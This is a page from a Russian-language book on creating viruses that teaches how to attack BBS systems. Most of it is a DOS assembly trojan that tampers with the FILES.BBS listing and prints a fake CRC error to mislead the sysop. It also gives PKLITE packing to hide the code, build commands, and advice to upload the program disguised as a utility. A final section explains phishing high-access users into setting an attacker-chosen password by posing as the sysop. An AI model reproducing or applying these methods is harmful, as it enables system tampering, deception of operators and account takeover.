Создаем вирус и антивирус (Гульев) - страница 79

assume cs:cseg, ds:cseg

cseg segment

org 100h

start:

;Найдем файл FILES.BBS

mov ah,4Eh

mov dx,offset fname

mov cx,20h

int 21h

;Если файл отсутствует, то выйдем из программы –

;здесь нечего исправлять

jc exit

;Откроем найденный файл

mov ax,3D02h

mov dx,9Eh

int 21h

jc exit

;Установим указатель чтения/записи в конец файла

mov bx,ax

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Записываем в файл три байта

mov ah,40h

mov cx,3

mov dx,offset bytes

int 21h

jc exit

;Закроем файл

mov ah,3Eh

int 21h

;Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,

;что отработавшая программа не должна вызвать подозрений

;системного оператора. Цель – заставить системного оператора

;думать, что файл испорчен. Возможно, он допустит, что иногда

;при передаче файлов происходят ошибки, и поэтому файл

;мог стать неработоспособным

exit:

;Выдадим сообщение об ошибке

mov ah,09h

mov dx,offset message

int 21h

;Выход в DOS

mov ah,4Ch

int 21h

;Мусор – специально для того, чтобы упаковать

;файл утилитой PKLITE

Garbage db 12000 dup (”A”)

;Имя файла ”FILES.BBS”

fname db ”files.bbs”,0

;Сообщение об ошибке

message db ”CRC file error”,13,10,”$”

;Записываемые байты

bytes db 23h,”pU”

cseg ends

end start

После того, как файл откомпилирован, его нужно упаковывать, чтобы системный оператор ничего не заподозрил. Этот файл будет содержать большое количество непонятных символов, и при быстром просмотре распознать скрытую в нем программу практически невозможно.

tasm.exe vzlom.asm

tlink.exe vzlom.obj /t

pklite vzlom.com

После этого файл отправляется на BBS и комментируется как демонстрационная программа или как утилита для DOS. Дальше взломщику остается только ждать, пока системный оператор запустит файл. Через некоторое время можно звонить и наслаждаться. Данный метод не сработает, если настоящая опция File Titles в Maximus заменена на ей подобную.

Получение пароля BBS без взлома

Рассмотренные выше способы взлома BBS предполагают наличие у пользователя базовых знаний о системе. Теперь немного о том, как можно достать пароль еще проще. Практически на каждой BBS существуют неопытные пользователи, имеющие высокий уровень доступа (информация об уровне доступа пользователей BBS доступна почти всегда). Если же такого пункта нет, то «хорошего» пользователя всегда можно вычислить, например, по времени, которое он проводит на станции, или по объему скопированной и присланной им информации. Итак, определив человека, паролем которого неплохо завладеть, пишем ему письмо о том, что по техническим причинам (причину придумываем любую, главное правдоподобную) ему следует изменить свой рабочий пароль (предлагаем новый, например «HACK_01»). После того, как пользователь поменяет свой пароль (на это ему нужно отвести дня два-три, поскольку в один день он может не позвонить, в другой – только поменяет пароль, в общем, время ему понадобиться), можно беспрепятственно входить под его именем и пользоваться системой. Главное, чтобы письмо было написано от имени системного оператора или какого-либо администратора данной системы. Если система не позволяет менять имя адресата в поле FROM, стоит зайти в нее под другим именем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное, не надо предупреждать, что все данные, указанные при регистрации под заведомо ложным именем, не должны быть настоящими.